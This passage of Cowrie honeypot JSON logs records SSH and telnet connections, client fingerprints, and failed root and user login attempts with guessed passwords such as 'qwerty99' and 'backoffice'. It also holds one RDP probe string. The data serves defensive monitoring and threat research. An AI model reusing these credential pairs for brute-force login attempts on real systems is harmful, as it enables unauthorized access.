e-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:13.500188Z","src_ip":"43.153.50.197","session":"7505d6b5c232","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:13.663285Z","src_ip":"103.173.227.57","session":"5372fa5e2b65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"salt","message":"login attempt [root/salt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:13.805026Z","src_ip":"43.153.50.197","session":"7505d6b5c232","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gemini","message":"login attempt [root/gemini] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:14.393318Z","src_ip":"103.173.227.57","session":"5372fa5e2b65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:14.877311Z","src_ip":"43.153.50.197","session":"7505d6b5c232","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:15.645632Z","src_ip":"103.173.227.57","session":"5372fa5e2b65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":37926,"dst_ip":"10.17.0.5","dst_port":22,"session":"0be2b2a5c839","protocol":"ssh","message":"New connection: 103.15.222.183:37926 (10.17.0.5:22) [session: 0be2b2a5c839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:16.159329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:16.165138Z","src_ip":"103.15.222.183","session":"0be2b2a5c839","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:16.408298Z","src_ip":"103.15.222.183","session":"0be2b2a5c839","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty99","message":"login attempt [root/qwerty99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:17.162601Z","src_ip":"103.15.222.183","session":"0be2b2a5c839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":47272,"dst_ip":"159.203.135.109","dst_port":22,"session":"3896cbf69e2f","protocol":"ssh","message":"New connection: 193.32.162.151:47272 (159.203.135.109:22) [session: 3896cbf69e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:18.035743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:18.041347Z","src_ip":"193.32.162.151","session":"3896cbf69e2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:18.146902Z","src_ip":"193.32.162.151","session":"3896cbf69e2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:18.406966Z","src_ip":"103.15.222.183","session":"0be2b2a5c839","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"12345","message":"login attempt [nexus/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:18.465304Z","src_ip":"193.32.162.151","session":"3896cbf69e2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:19.574368Z","src_ip":"193.32.162.151","session":"3896cbf69e2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":39494,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad4326c44052","protocol":"ssh","message":"New connection: 43.173.83.154:39494 (10.17.0.5:22) [session: ad4326c44052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:25.623757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:25.824495Z","src_ip":"43.173.83.154","session":"ad4326c44052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:25.890862Z","src_ip":"43.173.83.154","session":"ad4326c44052","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"donkey","message":"login attempt [root/donkey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:26.236563Z","src_ip":"43.173.83.154","session":"ad4326c44052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:27.308062Z","src_ip":"43.173.83.154","session":"ad4326c44052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41082,"dst_ip":"10.17.0.5","dst_port":23,"session":"3761e1f58869","protocol":"telnet","message":"New connection: 192.119.13.58:41082 (10.17.0.5:23) [session: 3761e1f58869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:32.374638Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":59642,"dst_ip":"159.203.135.109","dst_port":22,"session":"75f024e18381","protocol":"ssh","message":"New connection: 193.37.70.224:59642 (159.203.135.109:22) [session: 75f024e18381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:44.947436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:44.951716Z","src_ip":"193.37.70.224","session":"75f024e18381","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:45.045165Z","src_ip":"193.37.70.224","session":"75f024e18381","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kissme","message":"login attempt [root/kissme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:45.332076Z","src_ip":"193.37.70.224","session":"75f024e18381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:46.433554Z","src_ip":"193.37.70.224","session":"75f024e18381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.18066740036011,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:50.305985Z","src_ip":"192.119.13.58","session":"4fc83da80e4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":47392,"dst_ip":"10.17.0.5","dst_port":22,"session":"5463d22b9b57","protocol":"ssh","message":"New connection: 43.134.1.45:47392 (10.17.0.5:22) [session: 5463d22b9b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:53.588304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:53.593454Z","src_ip":"43.134.1.45","session":"5463d22b9b57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:53.838881Z","src_ip":"43.134.1.45","session":"5463d22b9b57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2083","message":"login attempt [root/2083] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:54.853013Z","src_ip":"43.134.1.45","session":"5463d22b9b57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:56.102182Z","src_ip":"43.134.1.45","session":"5463d22b9b57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":24703,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c1596127176","protocol":"ssh","message":"New connection: 190.119.63.98:24703 (10.17.0.5:22) [session: 1c1596127176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:04.726573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:04.733150Z","src_ip":"190.119.63.98","session":"1c1596127176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:04.915970Z","src_ip":"190.119.63.98","session":"1c1596127176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"backoffice","message":"login attempt [root/backoffice] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:05.542125Z","src_ip":"190.119.63.98","session":"1c1596127176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":61961,"dst_ip":"159.203.135.109","dst_port":22,"session":"21c493e12d2d","protocol":"ssh","message":"New connection: 167.172.81.52:61961 (159.203.135.109:22) [session: 21c493e12d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:06.560043Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:06.565038Z","src_ip":"167.172.81.52","session":"21c493e12d2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:06.569177Z","src_ip":"167.172.81.52","session":"21c493e12d2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:06.676893Z","src_ip":"190.119.63.98","session":"1c1596127176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":40054,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ecdccc982ce","protocol":"ssh","message":"New connection: 43.153.56.192:40054 (10.17.0.5:22) [session: 2ecdccc982ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:08.513203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:08.518017Z","src_ip":"43.153.56.192","session":"2ecdccc982ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 